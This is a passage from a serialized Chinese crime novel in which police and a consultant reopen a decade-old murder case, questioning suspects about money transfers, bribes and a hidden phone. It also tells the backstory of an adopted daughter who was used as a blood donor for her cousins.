“2004年9月85日,赖平的工商银行账户取走了12万现金,这是用来做什么的?” 张红芳想不起来:“工商银行取了12万现金?我没印象。” 警察让她好好想,张红芳想了好久,终于想起来,“赖平取了12万是想回老家建房子。” “据我所知,当年赖平在老家没建房。” “是啊,当时皓钧出事,我们跟大哥家的关系本来就挺紧张的,我儿子不让他回去建房,最后没建成。” “12万哪里去了?” “给我还有我儿媳各买了一个金镯子,这里一点那里一点就都花掉了。” 但让张红芳提供买金镯子的收据,她又拿不出来,说是弄丢了,为此,警方对她的口供是存疑的。 最为关键的是,赖文斌和他儿子都不愿意配合警方去提取DNA做检测。 可见,他们自己心底也是打鼓的。 毕竟他们不知道警方是不是在现场检测出了凶手的DNA,都怕自己的DNA会间接证明赖平是凶手。 同时被调查的还有彭秀的儿子赵润嵩。 赵润嵩在张皓钧案案发时,并不在临城,而是在香港谈业务,有出入境记录为证。 他儿子张蕤帆当时在外省读大学,也不在临城。 父子俩在问询当天就提取了DNA,检测结果排除了跟夏木橙胎儿的亲缘关系。 至于沈青,她去年转账的两笔款跟崔雄伟家属存入银行的现金惊人相似,这绝对是非比寻常的。 如果贸然询问,会打草惊蛇。 而且,对方是律师,肯定早就准备好了说辞。 这条线,警方并没有惊动,只暗中调查。 在调查中,他们发现,沈青经常跟张芷琼打电话,这让警方怀疑,沈青的真正老板是张芷琼。 张越凝是一开始就不在警方的怀疑名单上,她在接受询问的时候,对于张皓钧对她的侵害更是只字未提。 等张越凝从磐石律所所在大楼出来,陆从景驱车停在她面前。 他按下车窗打招呼,“张小姐!” 张越凝俯首一看,“是你啊,这回不会是巧合了吧?” “特意来找你的。”陆从景邀请,“上车,有话想跟你聊。” 张越凝略一犹豫,最终还是拉开副驾室车门,上了车。 启动车辆,陆从景把车开到了街上。 恰逢下班时间,路上车辆不少,他开的很慢。 “我看了你的口供,你怎么没跟警方说实话?” 张越凝盯着前车的车尾灯,似乎早料到了他会来找她聊这个问题。 她微微笑道:“我说的都是实话。” 她确实没撒谎,只是隐瞒了部分实情。 “你怕警方怀疑你?”他问的很直接。 “陆顾问,说句不客气的话,我觉得警方比你明智,他们没有浪费警力来怀疑我,也没有跟踪我。反而是你,你真的,侦探小说写多了,想象力比警察丰富。其实你完全不必在不必要的地方,耗费你的精力。” 陆从景被她说得哑口。 张越凝:“我当时十七岁,一个未成年高中生,作案时间我没有,买凶杀人我又没钱,人脉资源我更是一无所有,我拿头去杀人啊。” “但你可以是帮凶。” “张芷琼的帮凶?如果我是帮凶,我不会举报她。一旦举报成功,我也会被牵连,被定罪,不是吗?就算我当年还未成年,现在不需要服刑,但也会严重影响我的个人事业,我完全没必要这么做。” “那你为什么隐瞒张皓钧侵犯你的事?” 张越凝冷下脸:“你能闭嘴吗?” 陆从景被她一句话搞得很愧疚,“对不起。我没有要伤害你的意思。但你告诉我实情,又要求我保守秘密,这让我很为难!” 不等她说话,他又接着说:“直面现实,如果张皓钧是那种人渣,那就让他以人渣的身份入葬,你觉得呢?” “我觉得?”张越凝冷笑了一声,“他化成灰十年了,他在我这里,已经伏法,不重要了。这十年,我把自己养的很好。生活优渥,事业有成,想谈恋爱就谈,不想谈的时候,家里有个还不错的备胎等着我……” 那个备胎估计就是张蕤帆。 上次在壹世界会所,陆从景就看出来了。 张越凝侧目看向他:“我现在唯一的烦恼,就是张芷琼无时无刻的精神控制。你们究竟什么时候能把她请走?” 前面路口是红灯,停下车,陆从景看了眼张越凝,他相信她这段话没有掺杂半点的谎言。 她应该是真的已经不在乎张皓钧,她在乎的只有张芷琼还在禁锢着她。 “得有证据,无论是张芷琼还是赖平,都要有证据。我找人分析了你那天发给夏木棉的录音,这不像是你无意中听见张芷琼讲电话后隔了一段距离录的音频,更像是,你在张芷琼手机上安装了窃听器。” 张越凝不承认:“我是律师,犯法的事我不会做。” 陆从景:“你x知道的,这种技术分析没办法给人定罪。而且我不是警察,我没有权限管这些事,你尽管放心。既然你在张芷琼手机上装了窃听器,你应该能掌握她的一举一动,你就没发现她跟可疑的人联系?” 张越凝坚决不承认窃听的事,她自然不会上他的圈套来回答这个问题:“我没在她手机上装窃听器,我没办法掌握她的一举一动,不过……如果我发现她跟可疑的人接触,我肯定第一时间通知你。” 虽然他说话不好听,但起码替她保守了秘密。 “谢谢信任。”他说。 刚才表情还略有点严肃的张越凝,嘴角微微弯起:“希望会有好的结果。” 红灯转绿,启动车辆继续在街上打转。 两人一路闲聊,陆从景似乎已经放下对她的成见。 夏木棉说的没错,如果张越凝是帮凶,她肯定知道曾立兴是杀人犯,她不可能跟杀人犯的儿子谈婚论嫁。 绕了一圈,他把她送回律所大楼。 张越凝一下车,就看见门口站着的曾晖。 曾晖脸上额头上都是伤,看样子是被人打了。 他是来求和的。 他没办法接受他们就这么分手。 “越凝……” 张越凝没搭理他,径自往停车场走去。 陆从景看见曾晖跟在张越凝身后,往停车场去了。 今天更新一章哈,熬过这一两章,后面剧情会加快。 第25章第25章夏日傍晚的室外停车场,太阳…… 夏日傍晚的室外停车场,太阳还高高挂在云边,地表依旧热浪翻滚。 曾晖追上张越凝,试图挽回已然逝去的爱情。 “那天晚上我一直在唱K房等你,人太多了,都不知道谁是谁,他们灌我喝酒,在我酒里下药,故意陷害我,那几个女的,我都不知道她们是怎么进来的!” 张越凝在自家座驾前停住脚步,“就这几句话里,你撒了几个谎?” “我没撒谎。” “我查看了监控,你跟那几个男的,玩得很好,一开始也没人逼你喝酒,那些女人进去的时候,你还很清醒。” 曾晖解释:“我只当是应酬,就跟他们喝了几杯,那些女人进来陪酒,不是我点的,我根本没想过碰她们。要不是他们在酒里下药,我不会做错事。” 张越凝满是失望地摇头:“你被下药,意识不清醒了吗?那为什么你会让别人不要烦你?那你为什么看见我就马上能意识到自己错了?你不过是借着这个机会,做了你早就想做的事。那正是你心底渴望的,不是吗?” 曾晖被戳中了内心真实想法,但他不愿意承认。 “我当时脑子一片混乱,根本控制不住我自己。” 张越凝:“那你就先好好学会控制自己,以后不要来烦我了。” “难道就因为这点酒后的无意识过错,你就要放弃我们的感情吗?是我的错,你打我骂我都可以,但我不要分开。我不想分手。我知道你的愿望是25岁之前结婚,我们可以现在就去登记结婚,生一个可爱的宝宝,我们会有个幸福的小家,跟你以前畅想的那样。行吗?”曾晖去拉她的手。 张越凝瞥了他一眼,他个子高大,长得帅气,但也仅此而已。 她抽回手,情绪无比稳定,“我没办法接受一开始就有瑕疵的感情。我是想要一个幸福的小家,但不是要一个一开始就漏雨的家。” 恰在此时,外面开进来一辆奥迪,就停在曾晖前面。 张蕤帆从车上下来,他睨视着曾晖,盯着他脸上的伤,气势上就压对方一头:“你这狗皮膏药!打的还不够是不是?” 本来被打,被分手,曾晖已经够气愤了,张蕤帆这嚣张的气焰瞬间激怒了他,他忽然一记勾拳打过去! 那拳头还没打到张蕤帆已经被他一把给按住,反手直接扣在了别人车头上。 “你竟敢跟老子动手?!” 张越凝不想多事,她小声提醒:“警察在外面盯着呢。” 陆从景的车就停在路边,张蕤帆顺着张越凝的目光看过去,当即松了手。 “滚!” 曾晖也是倔脾气,他偏不走! 当着警察的面,张蕤帆又不能真动手打他,张蕤帆只能堵着不让他靠近张越凝。 张越凝见状,上车启动车辆,先行离开了。 半小时后,张蕤帆回到家,他往后宅走来。 二楼书房开着灯,但不见人。 他叫了一声,“哪儿去了?” “里面。”张越凝的声音从走廊尽头的小起居室传来。 往里走,看见张越凝一身家居服,坐在木地板上组装拼图。 猫咪黑豆就卧在旁边。 “我还以为你躲起来伤心呢。” 张越凝笑着抬起头:“我至于吗?” 张蕤帆蹲下逗猫,见她能想得开,他也高兴,说明曾晖那个男人,没那么重要。 张越凝感叹:“我就是有点可惜。我以为,我真的25岁之前能结婚。” “距离25岁还有大半年,万一找到合适的结婚对象呢?” “找谁我妈都不会同意的。” 张蕤帆故作轻松地说了句,“我呢?” “哈?” “如果是我,姑姑会不会就同意了?”张蕤帆小学初中都是个胖子,高中开始变了个人似的,不止外形变了,性格也变了。 张越凝白他一眼,忍不住笑道:“找了一圈结果还是要回来吃窝边草?” “窝边草怎么了?又嫩又鲜美的窝边草就坐在这里,难道我这个窝边草比不上那个曾晖?” 张蕤帆确实一表人才,关键是,他在外面吃得开,在公司也是如鱼得水。 张越凝说:“我从来没把你们两个作比较。他不配跟你比。” 这句“他不配跟你比”可说到张蕤帆心坎里了,他瞬时被钓成了翘嘴鲌,“也别25岁,太匆忙了。你要是到了30岁,还找不到合适的结婚对象,我们两个结婚算了。” 他小心翼翼地看向张越凝,她正认真拼图,脸色神情看不出情绪。 张蕤帆生怕她不高兴,正想说话,只见她微微抬眼笑道:“也不是不行。满30岁我要是还找不到结婚对象,我跟你订婚。” “我可是会当真的。” 张越凝调皮道:“到时候我要是改变主意了,后悔了,你可别想不开。” 张蕤帆对自己有信心,“有了我,你以后很难再看上别人。走啊,看电影去,趁你现在还没后悔。” “什么电影?” “有部刚上的动画《里约大冒险》,去不去?” 刚好张越凝也想看这部电影,她收起还没拼好的照片,“走吧。” 张蕤帆高兴地眉毛飞扬,他单手插在裤兜里:“我回房换件衣服。” 见她起身,黑豆也跟着起来,并缠着她的腿“喵喵”叫着。 张越凝喂它吃了化毛膏,才出去。 一大清早,刑侦大队小会议室里,负责“百步双四大案”的主要刑侦人员向队长陈锋汇报工作。 田海亮打开PPT,把案情从前往后梳理了一遍。 “张皓钧、梁小宇、夏木橙、许忠和曾立兴,总共五条人命,其中曾立兴很大可能是前四个命案的凶手之一。” PPT上,曾立兴的头像被放大,看着有些渗人。 “曾立兴于2014年7月29日上午5点08分消失在淮海路,其尸体于8月7日在临花江下游被发现。” “我们在距离淮海路2公里外的临花江过水桥旧桥墩缝隙里找到了含有曾立兴DNA的烟头,并找到目击证人证实曾立兴和另外一个男子,在7月29日上午5点半左右在旧桥墩上说话,期间目击者低头几秒后再抬头,就只看见一个男子离开,另外一人凭空消失。我们有理由怀疑,消失的人就是曾立兴,他是被另外一人从桥墩上推下临花江。” “是谁把他推下去的?最大可能就是他的同谋,或者同谋派来的人。目前还没有找到这个人的相关踪迹。” 队长陈锋问:“事发周围的监控都查看了吗?” 刘泰安回答:“我们都查过了,周围监控录像没有找到这个人的踪影。这一系列案件,有一个很重要的特征就是,凶手警惕性非常高,反侦察能力很强。” 陈锋在笔记本上快速记下了这个特点。 田海亮继续:“现在我们回到源头,第一起案件张皓钧被杀案。张皓钧背景特殊,他的爷爷张鸿禺是我们市的知名实业家。张鸿禺有个仇家,是他妹夫赖平,因两个家庭的矛盾,赖平曾经在事发前不久到张家大闹过。事发前一个星期,赖平取了12万x现金,至今这笔现金用在哪里,他们家人没办法提供一个真实的去处。” “赖平的儿子和孙子不配合我们调查,拒绝做DNA检测。我们想办法从公共场合的合法途径拿到了赖平孙子赖嘉和嚼过的香口胶,检验后,目前已经排除他们跟夏木橙腹中胎儿的亲缘关系。但是,能排除亲缘关系并不代表就能排除赖平的嫌疑。” 陈锋看着屏幕上的资料,“赖平已经去世了?” 刘泰安:“五年前胃癌去世。” 陈锋微微抬手让田海亮继续。 “赖平是其中一个怀疑对象。除此之外,还有另外一个怀疑人。刚才我提到张皓钧背景特殊,他在十年前就是数十亿遗产的继承人。在张皓钧死后,最大的受益者就是他的姑姑张芷琼。根据陆从景提供的信息,有不愿意透露身份的证人举报,张芷琼有买凶杀人的嫌疑。” 田海亮点击鼠标:“怀疑张芷琼买凶杀人的线索有两点。第一点是举报人提供了曾立兴失踪当天,张芷琼想要阻止张皓钧案重启的电话录音。第二点是,张芷琼女儿的助理沈青,去年和今年分别向两家毫无关联的公司转出两笔大额资金,在她转出资金不久,吊颈杀手崔雄伟的家属在银行存入几乎一样金额的存款,转出资金的时间点也很有趣,第一次转账后不久,崔雄伟终于承认自己杀害张皓钧,第二次是崔雄伟被执行死刑当天下午,沈青汇出第二笔资金。这不可能只是巧合这么简单。” 投影幕上是各种转账及存款证据。 “我们怀疑,沈青用重金收买本就要被处以死刑的崔雄伟揽下杀害张皓钧的罪名。而沈青表面上是张芷琼女儿的助理,实际她跟张芷琼电话通讯非常频繁。” 陈锋问:“你们没有传唤沈青吗?” 田海亮:“暂时只是监视处理,并没有对她进行传唤。” 陈锋:“还是要传唤沈青,不要怕打草惊蛇,有的时候,就是要打草才能惊出大蛇。” 田海亮看向刘泰安,刘泰安表态:“行,我们再详细研究一下要怎么操作。” 陈锋问:“接下来,你们打算怎么部署行动?” 程栋梁接过话题:“根据曾立兴妻子戴丽华提供的信息,曾立兴其实有另外一个手机号码,我们现在要做的就是把这个号码找出来。曾立兴跟同伙相约在过水桥见面,应该要用备用手机号进行联系,这个备用的电话号码就是关键所在。我们想跟技术部门合作,锁定机械厂家属院附近的通讯基站,把信号长期在机械厂家属院活动,但又未进行实名登记的电话号码找出来,然后再一个个排查。” 陈锋赞同:“这个办法可行,只要找到电话号码,就会是个突破口。” 程栋梁:“另外,张芷琼和赖平两者之间,我们暂时选择把重点放在张芷琼身上,而赖平是次重点。如果是赖平买凶杀人,那赖平死后,按道理不会再有人跟曾立兴对接,也不会有人去过水桥杀害曾立兴。张芷琼就不一样了,她怕曾立兴把她爆出来,她有动机也有能力找人去杀害曾立兴。” 田海亮补充:“张芷琼的女儿张越凝跟曾立兴儿子曾晖曾经是恋人关系,持续时间一年多,但张芷琼坚决反对他们交往,最近还使用非常手段把他们强行分开,理由不难理解——买家是不会跟自己花钱请的杀手做亲家的。” 会议开了两个多小时,等开完会,刘泰安跟陈锋一起往外走。 “陆从景怎么没来开会?” 刘泰安无奈:“请不动。无所谓了,他有他的节奏,这次案件很多重要的线索都是他提供的。” 陈锋:“找机会,一起吃个饭。” 刘泰安:“你找他比较容易,我就算了,不想自讨没趣。” 陈锋也没再说什么,有些事,外人插不上手,也不适合插手,只能他们自己慢慢消解。 小耿和刘阳外勤回来。 一进办公室,小耿找程栋梁,说:“我们今天去家具厂调查,询问了十几个老员工,原来曾立兴之所以能去家具厂上班,就是因为钟厂长把他调进厂里的。” 程栋梁马上想起戴丽华说过,钟厂长是霍兵的亲戚。 霍兵心理素质很高,嘴巴非常严,之前刑侦提审他,他知道贩毒会判死刑,所以,问什么他都回答不知道,不清楚,或者干脆不说话。 “马上把那位钟厂长请来,好好问一问!” 一个小时后,程栋梁打开问询室的门,跟他搭档的同事已经提前到了。 她拉开椅子坐下,开始盘问。 “姓名?” “钟云涛。” “说说你跟霍兵的关系。” 钟云涛还有一年就要退休了,今天进来多多少少有点紧张。 都说霍兵贩毒可能要判死刑,他这哪敢沾边啊。 “就远方亲戚。这位警官,我是遵纪守法的老百姓,我跟他很少来往的,就普通亲戚关系。” 程栋梁逼问:“既然你跟他很少来往,关系普通,为什么你要帮他安排曾立兴去你们厂上班?” 钟云涛:“这个……我们厂需要用人,曾立兴符合条件,我才把他调来的。” 果然是因为霍兵的关系,曾立兴才进了家具厂。 钟云涛补充道:“当时机械厂改组,曾立兴他大哥也保不住他,他可能随时下岗,曾立兴有技术,工资要求不高,我就把他调来了。” 程栋梁:“不对吧,曾立兴去了家具厂没多久就升为车间副主任,工资可不低。” 钟云涛紧张的一身是汗:“那是曾立兴技术好,优秀,大家都推荐他。” “霍兵就在隔壁看守所,你认为他会不会隐瞒这个对他现有案件完全没有影响的实情?钟云涛,你如实回答,你是不是收了他的钱?” 钟云涛被程栋梁给唬住了,他赶紧说:“霍兵当时跟人合伙开了一个家具城,他答应来我们厂拿货,我才答应帮忙给曾立兴安排工作,我也是那个……为了厂里的业绩。” 看来真有利益输送! 得到自己想要的答案,程栋梁表情没有任何的变化,她诘问:“你就没有从中拿一点点的好处?你不会以为我们没有任何证据,就把你请来协助调查吧?” 钟云涛吓出了一身冷汗,他不得不老实交待:“霍兵给了我两万,但主要还是他答应从我们厂拿货,我才帮忙安排曾立兴的工作,我也是为了家具厂好。” 程栋梁忍不住讽刺:“贪了钱,你怎么不喊一声,为人民服务呢?” 钟云涛: 所以,霍兵为了帮曾立兴解决工作,花了至少两万元,戴丽华撒谎了,他们夫妻不是跟霍兵关系不好,而是很好。 今天更新一章,明天开始双更[比心] 第29章第29章汇海太子爷骆安乔伤人案提前…… 汇海太子爷骆安乔伤人案提前开庭审理。 骆安乔被判三个月,还有三个星期就能释放。 庭后邹富贵代表老板请律师团队吃饭。 作为乙方的沈青已经提前安排好了就餐地点,“邹总,我们订好包厢了。” 邹富贵:“那怎么能行。我们老板交代了,我们做东。” 张越凝笑道:“磐石律所的惯例是,结案我们请客。” 说着她放低声音:“尾款还要劳烦邹总帮忙催一下。” “哎哟,那应该的。明天就会打款,我肯定盯着。” 付别人的款,汇海未必能有这么积极,但律师团队的欠款,还是张鸿禺孙女的,谁敢欠啊? 他们在悦来饭店吃饭,刚好一桌人,酒是邹富贵带来的茅台。 恰好张蕤帆在隔壁包厢有商务宴请,他过来打招呼。 张越凝给他们介绍:“这位是汇海的邹总,这是我表哥张蕤帆。” 邹富贵非常热情地跟张蕤帆握手:“果然是虎父无犬子啊,你跟你爸简直是一个模子印出来的。” “邹总认识我爸?” “我跟你爸是发小,我们小时候就住一个院子,我爸去世的早,你爷爷也那个……走的早,我和他都是没爹的孩子。不过你爸读书厉害,就是脾气太老实了,他被人欺负,都是我帮他出头的。” 张蕤帆打量着眼前这位西装革履,头发用摩丝打理地根根分明的邹总,马上伸出手:“那我得叫您一声邹叔。” 张蕤帆是社交能手,半顿饭的功夫,跟邹富贵互换了联系方式,并约好有合适的生意,可以互相关照。 饭后,喝了x酒的张越凝坐张蕤帆的车回去。 她的脸因为喝了酒,粉扑扑的,整个人慵懒地靠在座椅上。 她问:“你真要给邹富贵牵线,让汇海做鸿达的供应商啊?” 跟她并排坐在后面的张蕤帆收起手机,回她:“我有这么傻吗?我爸不答应的事,我怎么敢答应。再说了,老爷子最忌讳假公济私,这个关键节点,我去做撞枪口的事,你妈不撕了我?” 张越凝劝他:“那你没必要跟邹富贵交换联系方式,这个人很难缠,徒增麻烦。” “我跟你不一样,我不怕麻烦。鸿达有合适的项目,可以让他们来竞标,能不能成看他们自己的本事,我卖他们一个人情,多交一个朋友,没有坏处。你也知道,汇海黑白通吃,门路很广,这种朋友其实最值得交,他们在缅甸都有自己关系网。”张蕤帆比他爸精明。 张芷琼不止一次跟她说,张蕤帆是个不错的潜力股。 张越凝:“你怎么跟我老板一样的想法,我老板硬要我去接汇海太子爷的案子,她也是想要结交骆金水这条人脉。” “你要跟你老板学习,放宽视野,不要对这类人抱有成见。你想想,他们能洗白上岸,就是一个很大的本事。” 张越凝不以为然:“所以还是做律师适合我。” 她倔强地坚持自己的想法,张蕤帆很欣赏也很喜欢她这点,大家走不同的路,这样他们不会有大的矛盾。 如果能娶到张越凝,讨得张芷琼喜欢,以后鸿达集团迟早是他的。 张越凝的手懒懒地搭在座位之间的扶手上,纤细柔白,他想握住,但又怕她反感,终究还是忍住了。 确定戴丽华撒谎之后,专案组判断,戴丽华对于曾立兴逃跑应该是知情的。 警方当即传唤戴丽华。 程栋梁板着脸:“再问你一遍,你老公在百合村租了半年的房子,你知不知情?” 戴丽华摇头:“我不知道。” “我现在明确告诉你,你丈夫曾立兴不是死于意外,而是死于他杀!请你配合警方调查。” 戴丽华明显一愣,神色慌张起来,“谁杀了我们家老曾?” 程栋梁:“这就是我们想要问你的,谁杀了他?你还不跟我们说实话吗?” “我……我不知道啊。” “不要装傻!把你知道的都如实告诉我们,越详细越好。” 戴丽华微微张口,缓了好一会儿,才说:“我们不是要买房嘛,我让老曾把钱转过来,他总是不积极,那天11点多我打电话提醒他转钱,结果他说,趁着下大雨,他打算跑路。” “他为什么要跑路?” “我问他了,他含含糊糊的说没时间跟我解释。他叮嘱我,傍晚之后再报警,就说他钓鱼失踪了。他在电话里说他打算去缅甸避一避,等过一年半载再联系我。” 程栋梁换了个问法:“你认为他为什么跑路?” 戴丽华:“我想了很久,一开始我以为他贪污了,但他那个岗位贪不了大钱,后来我就想,是不是……跟老许有关,就是许忠。” 听到许忠的名字,程栋梁不由问:“你怎么会联想到许忠。” “许忠出事那天晚上,我半夜起来上厕所,发现老曾不在床上,隔了大概有半小时他才回房。我问他去哪了,他说睡不着,就坐在阳台乘凉。第二天老许自杀了,一开始我也没多想,后来听说老许不是自杀,是被人杀的,贾伟东被警察调查了。我也不知道从哪天开始发现老曾越来越不对劲,对什么事都不太上心,说话老是走神。等他跑路了,我才联想起来那天晚上他有段时间不在卧室,我越想就越……”戴丽华说不下去了。 程栋梁语气缓和了许多,“还有呢?” 戴丽华:“我以为老曾真去缅甸了,直到警方发现他尸体,我就想不明白他怎么真就淹死了呢。后来你们问我,他跟霍兵的关系,我就心底打鼓,会不会跟霍兵有关。我怕被牵连,当时就撒了个谎,说跟霍兵不熟。” “实际上呢?” “啊?”戴丽华没听懂。 程栋梁耐着性子,把问题详细说了一遍:“实际你们跟霍兵的关系怎样?” “十多年前,我们初中同学会大家重聚之后,老曾有段时间跟霍兵走得很近,04年机械厂改组,老曾随时可能下岗,霍兵他有亲戚在家具厂做厂长,我们花了三万块钱,托霍兵帮忙运作,把老曾招进家具厂上班。后来老曾偷偷告诉我,霍兵可能在贩毒,我怕他走歪路,就逼着他少跟霍兵来往。” 家具厂钟云涛厂长说的是两万元贿赂外加霍兵的家具城采购订单,换取曾立兴的工作。 口供对不上。 程栋梁质疑:“只是三万块霍兵就帮忙安排了一个这么好的工作?” “老曾跟我说的就是三万。” “曾立兴和霍兵之间是有其他的交易吧?” 戴丽华摇头,满脸茫然:“我不知道啊。” “霍兵帮曾立兴安排了这么好的工作,之后你们就跟他没来往了?” “不是一下子没来往,而是关系慢慢淡了,霍兵在大公司做领导,也没时间跟我们多联系。” “你最好跟我们说实话,霍兵在看守所,你的口供要是跟他的对不上,那对你会很不利。” 戴丽华听见说对她不利,忙慌张问:“跟我有什么关系?” 程栋梁:“作伪证也是犯罪,懂吗?” 戴丽华摸着冰凉的手臂,带着哭腔道:“我……几年前我在我们家床底下,看见过你们在许忠床下搜出来的那双一模一样的旧皮鞋,也是用同样的环保袋装着,后来我质问老曾,他解释那是霍兵的东西。我也不知道该不该信他,我不敢想老曾是那种人。” “哪种人?” “我看了新闻,你们之前不是因为那双旧皮鞋认定许忠是杀害小宇和木橙的凶手吗?但旧皮鞋是老曾藏起来的,那不就说明老曾杀了那两孩子?这是我们大哥二哥家的孩子啊,我要是说出来,我以后都没办法跟大哥二哥家作亲戚了。” 程栋梁:“这个时候,你还想着跟受害者家属做亲戚?” “老曾说是霍兵的呀,你们去查霍兵好了。” “你自己都不相信你老公完全没有参与,是吗?” 戴丽华哑口,过了好一会儿才茫然说:“我不知道。我想相信他,但是……我怎么面对……” 说着她呜呜哭起来。 她要怎么面对梁夏两家人? 监控室里,木棉看着屏幕里的戴丽华,半天说不上话来。 气氛有些压抑,刘泰安不喜欢这样的氛围,他回头嘱咐木棉:“暂时对你父母保密。” 说完,他先出去了。 刘泰安在阳台抽烟,一根接着一根。 酷暑时节,室内有空调,室外热浪一波接着一波,他曾经自私地希望这个十年前的旧案闹得越大越好,但是对于受害者以及他们的至亲来说,这个案件从没发生,那才是最好的。 矛头最终指向了霍兵。 “说说你跟曾立兴的关系。” “不熟。” “曾立兴老婆戴丽华不是这么说的。” 霍兵还是那句:“不熟。” 他脸上有深深的笑纹,对于警方的盘问,他完全消极应对,任何问题到他这里,就如重拳打在棉花上,一副死猪不怕开水烫的模样。 田海亮审了两天都没审出任何有价值的信息。 换个年代,提早20年,非狠狠修理他一顿不可。 之后,经专案组深入调查,发现霍兵和张芷琼之间没有任何的关联,也找不到张芷琼通过霍兵买凶的可能联系。 办公室里,木棉听着前辈们在讨论案情。 他们发现,张鸿禺家和霍兵的老板骆金水之间存在非常深的旧怨,张芷琼根本不可能通过霍兵买凶。 1987年5月临城突发罕见大洪水,雨水淹没了临城第二人民医院的住院部,当时张鸿禺的儿媳和骆金水的老婆都在妇产科待产,她们被转移到同一个高地雨棚里生产。 当时的环境,不止医疗物资短缺,人力也缺。 两个产妇共用一个医生一个护士,因张家儿媳怀的是双胞胎,医生护士都在她那边。 骆妻产程前期很顺利,开了五指后大出血,家属呼叫医生救命时,被张家人强行拦住了不让医生走。 最终骆金水妻儿惨死,张家双胞胎第二天平安落地。 骆金水当时还是个普通工人,张鸿禺已经是本地小有成就的企业家,骆金水求诉无门,最终不了了之。 刘泰安:“如果不是张芷琼买凶,那有没有可能就是骆金水指使霍兵杀了仇家的孙子?毕竟在骆金水眼里,就是张家这个孙子的出生给他家带x来的灾难。” 田海亮赞同:“有可能。骆金水这么个狠人,如果他不报仇,我倒觉得不太像他了。” 吃着煎饼果子的小耿提出质疑:“如果骆金水想要杀张鸿禺的孙子,他手底下没人了吗?一枪可以解决的事,他为什么要用这么迂回的方式,找一个完全不专业的杀手去杀张皓钧这么个高中生?” 田海亮想了想,道:“2004年,骆金水正在洗白上岸,他既然想要报仇,又不想惹事上身,肯定要用迂回的方法。骆金水这个人非常狡猾和难以捉摸,他跟张家这么大的仇,但他二婚小儿子的伤人案,仍然聘请了张鸿禺外孙女张越凝做辩护律师,同时,他还想做鸿达集团的供应商,这很明显都是大仇得报之后,已经无所谓的表现。” 程栋梁同意田海亮的分析,同时她认为张芷琼这条线还有很多疑点,“张芷琼为什么想要阻止张皓钧案重启调查?沈青转出去的钱又该怎么解释?” “那就听陈队的,我们来一招打草惊蛇,先对张芷琼和沈青下手。”刘泰安下了决心,“还有,想办法撬开霍兵的嘴。” 第30章第30章七岁那一年,张越凝抱着自己…… 七岁那一年,张越凝抱着自己的熊猫玩偶,来到了张家。 张芷琼看她的第一眼,眼神波澜不惊,但多少有些嫌弃。 “带她去洗澡了吗?把那玩意给扔了。” 那时候张家还住在鸿达厂房后面的一栋两层老洋房里。 张越凝抱紧熊猫布娃娃不肯松手。 保姆岚姐没办法,只好把她连着熊猫一起洗了。 没多久,家里来了个中年医生,戴着眼镜,看着有些凶。 医生给她做了全身体检,她身体健康,体魄盈足,全家都对这么健康的她很满意。 小小的她,对外界充满了警惕和好奇。 张家人对她很照顾,她穿的好,吃的更好。 大舅舅大舅妈对她甚至比对张皓月还要细心。 总是夸她:“长得好乖。” 家里水果肉蛋奶充足,营养品每天早晚吃着,比原本的家要好太多太多。 虽然新妈妈不太理会她,但也从没为难过她,张越凝慢慢放下了警惕之心。 唯一让她害怕的是,医生要给她抽血,一个月一次。 每次岚姐都哄她:“小孩儿抽了血,才能长高高。” 可能因为抽血太过频繁,她身体越来越差,她慢慢变得孱瘦,没有血色。 为此,张家上下对她更是小心谨慎,生怕她磕着碰着,再生个大病…… 直到9岁,她才隐隐约约知道,从她孱弱瘦小的身躯里抽走的血都是用来救张皓钧的。 她是张皓钧的血袋。 也正因为她和张皓钧罕有的血型相匹配,张家才会逼着张芷琼收养她。 长大后,她才想明白,张家收养她是为了更方便抽她的血,不会被监管,不用被考虑。 当时小小的张越凝并没有太大感觉,因为已经习以为常。 可能张皓钧知道她是自己的救命天使,所以他对她特别好,有什么好吃的好玩的,都会跟她分享。 张皓月则不同。 刚开始,张皓月发现家里多了一个同龄的小姐妹,她是高兴的,还把自己喜欢的毛绒绒玩具送给张越凝。 “你长得真好看。”这是张皓月跟她说的第一句话。 “你叫什么名字?” 还不叫张越凝的她把自己的名字告诉了张皓月。 两个小女孩一起跳格子,一起过家家,一起打扮布娃娃,曾经非常要好。 但随着父母对张越凝的关爱超过了自己,哥哥还经常护着对方,偏心对方,小皓月的心态慢慢失衡。 也不知道从什么时候开始,张越凝发现,张皓月看她的眼神多了一丝的厌恶。 张皓月想着法子刁难她和欺负她,往她牛奶里加盐,偷偷撕掉她的作业本,甚至把她的熊猫娃娃剪成碎片扔到屋后的水沟里。 张越凝不是个爱哭的人,打针抽血她都不会哭,但看见陪着她长大的熊猫娃娃变成了破布,被扔进臭水沟里,熊猫娃娃那玻璃做的可爱的眼睛变成了两个黑色窟窿,她第一次伤心痛哭。 她一直以为大舅大舅妈疼爱自己,但张越凝伤心大哭的时候,他们并没有为她主持公道,小熊猫撕碎了就碎了,扔掉就是,他们只是答应,送她一个更好的布娃娃。 他们甚至厌烦地小声抱怨:“真烦。” 张越凝这才知道,他们真正关心的只是她能长出健康血液的身体,跟她本人无关。 11岁那年,空了一年的时间,医生没给她抽血。 原来张皓钧的病治好了。 张家人对她的态度,骤然变冷。 再也没有从前的精细和用心照料。 幼小的张越凝害怕,自己没有了利用价值,会不会被张家抛弃。 所幸,不被抽血的这段时间,她长出了骨血,脸色红润了,头发乌黑浓密了,个子也呼呼往上蹿。 她感受到了健□□命的美好。 她发现,原来不需要多丰盛的物质,只要能吃饱,身体和精神就会健康发芽。 这一年张家迎来巨变,鸿达集团成为临城纳税第一大户,他们搬进了三层楼带花园的新家。 岚姐回乡照顾孙子去了,家里多了几个新的保姆,秦姨负责照顾她和张皓月的日常生活,她从秦姨这里得到了别人不曾给过她的温暖。 也在这一年,张芷琼离婚,并开始重视她这个女儿的生活和学习。 那年暑假,张越凝第一次跟着张芷琼出远门,去了上海旅游,她第一次拥有了跟妈妈的合照。 也是从那时开始,她有了自己可以支配的零花钱。 一切看起来都在往好的方向发展。 但意外还是来了,新的学期刚刚开始,张皓月病发。 她从张皓钧的血袋,变成了张皓月的血袋。 张芷琼似乎重新发现了这个女儿原本存在的意义,那就是家里为了她同父异母哥哥的双胞胎硬塞给她的孩子。 这个孩子本不属于她。 一夜之间,张越凝从家族的一员,回到自己原来的位置——家族的工具。 多年之后,当张越凝看到美国诗人艾米莉的诗作,彻底理解了何谓“我本可以忍受黑暗,如果我不曾见过太阳”。 虽然那只是短暂的一缕阳光。 大舅大舅妈对她重新有了笑脸,精细的照顾又跟上来了。 但张越凝长大了,她有自己的思想,明白自己的处境后,却也不再像从前那么配合。 